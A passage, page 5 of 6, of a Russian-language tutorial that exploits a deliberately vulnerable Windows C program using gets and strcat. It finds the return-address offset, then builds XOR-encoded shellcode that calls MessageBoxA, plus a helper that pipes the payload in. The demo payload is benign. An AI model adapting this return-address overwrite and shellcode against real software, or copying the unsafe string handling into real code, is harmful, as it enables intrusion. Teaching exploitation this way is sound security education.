Страница 5 из 6 И ещё... Напоследок рассмотрим пример "поближе к жизни". Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера: #include <stdio.h> #include <string.h> #include <windows.h> void show_message(char* msg) { char buffer[64]; strcpy(buffer, "Message: "); strcat(buffer, msg); MessageBox(0, buffer, "Message", MB_ICONINFORMATION); } int main() { char text[1024]; printf("Please, enter text: \n"); gets(text); show_message(text); return 0; } По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует "реальной жизни". Итак, попробуем устроить "атаку на переполнение буфера" в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее: 111111111122222233444444444455555555556666abcdefghijklmnopqrstuvwxyz В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0x63626136, следовательно адрес возврата должен находиться на месте символов "6abc". Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой: MOV EAX, (конечный адрес закодированного фрагмента + 1) MOV ECX, (количество байт во фрагменте) decode: DEC EAX XOR BYTE PTR [EAX], 80h LOOP decode
Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA - в 0x40f1a0. В итоге получаем следующую строку: "1111111111222222233333334444445555555566666" "\xb3\x94\xf7\xbf" // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL) // ----------- код ----------- --- адрес инструкции --- "\x8b\xec" // MOV EBP, ESP // EBP+4 // --- раскодируем часть программы --- "\x8b\xc5" // MOV EAX, EBP // EBP+6 "\x83\xc0\x35" // ADD EAX, 35h ; EAX = конечный адрес // EBP+8 "\x33\xc9" // XOR ECX, ECX ; ECX = 0 // EBP+b "\xb1\x10" // MOV CL, 10h ; ECX = 10h // EBP+d "\x48" // decode: DEC EAX // EBP+f "\x80\x30\x80" // XOR BYTE PTR [EAX], 80h // EBP+10 "\xe2\xfa" // LOOP decode // EBP+13 // --- Вызываем MessageBoxA --- "\x6a\x30" // PUSH 30h // EBP+15 "\x8d\x45\x2c" // LEA EAX, [EBP+2сh] // EBP+17 "\x50" // PUSH EAX // EBP+1a "\x8d\x45\x35" // LEA EAX, [EBP+35h] // EBP+1b "\x50" // PUSH EAX // EBP+1e "\x51" // PUSH ECX ; push 0 // EBP+1f // -- начиная с EBP+25 // идёт закодированный фрагмент -- "\xff\x15\xa0\xf1\x40\x80" // CALL [USER32.MessageBoxA] // EBP+20 "\x7f\x95\x6c\x70\xc0\x80" // CALL [KERNEL32.ExitProcess] // EBP+26 "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80" // Cтрокa "Question\0" (закодирована)// EBP+2c // -- конец закодированного фрагмента // (EBP+34) -- "To be, or not to be...\0"; // EBP+35 Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль: #include <stdio.h> int main() { printf("11111111112222222222333333333344444444445555555555666666666" "\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48" "\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51" "\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80" "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0"); return 0; } Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE: > T.EXE | TEST.EXE Работает! |